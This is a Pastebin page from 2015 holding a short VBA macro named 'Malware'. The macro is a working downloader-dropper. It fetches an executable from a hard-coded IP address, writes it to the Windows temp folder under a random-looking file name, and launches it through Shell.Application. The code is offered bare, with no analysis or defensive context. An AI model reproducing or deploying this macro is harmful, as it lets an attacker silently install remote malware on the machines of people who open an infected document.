Guest User

Untitled

a guest
Mar 4th, 2015
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Sub Malware()
  2.     Set fs = CreateObject("Scripting.FileSystemObject")
  3.    
  4.     Const fsTempFolder = 2
  5.     Set tempFolder = fs.GetSpecialFolder(fsTempFolder)
  6.    
  7.     URL = "http://46.30.42.90:8080/azvxjdfr31k/abs5ajsu.exe"
  8.     localFile = tempFolder & "\fdgfdgdfga.exe"
  9.    
  10.     Set xmlHttp = CreateObject("MSXML2.XMLHTTP")
  11.     xmlHttp.Open "GET", URL, False
  12.     xmlHttp.send
  13.    
  14.     Set fs2 = CreateObject("Scripting.FileSystemObject")
  15.     If fs2.FileExists(localFile) Then
  16.         fs2.DeleteFile (localFile)
  17.     End If
  18.    
  19.     Set adodbStream = CreateObject("ADODB.Stream")
  20.     With adodbStream
  21.         .Type = 1 'Binary
  22.        .Open
  23.         .Write xmlHttp.responseBody
  24.         .SaveToFile localFile
  25.         .Close
  26.     End With
  27.    
  28.     Set adodbStream = Nothing
  29.    
  30.     Set Application = CreateObject("Shell.Application")
  31.     Application.Open tempFolder & "\fdgfdgdfga.exe"
  32. End Sub
Advertisement
Add Comment
Please, Sign In to add comment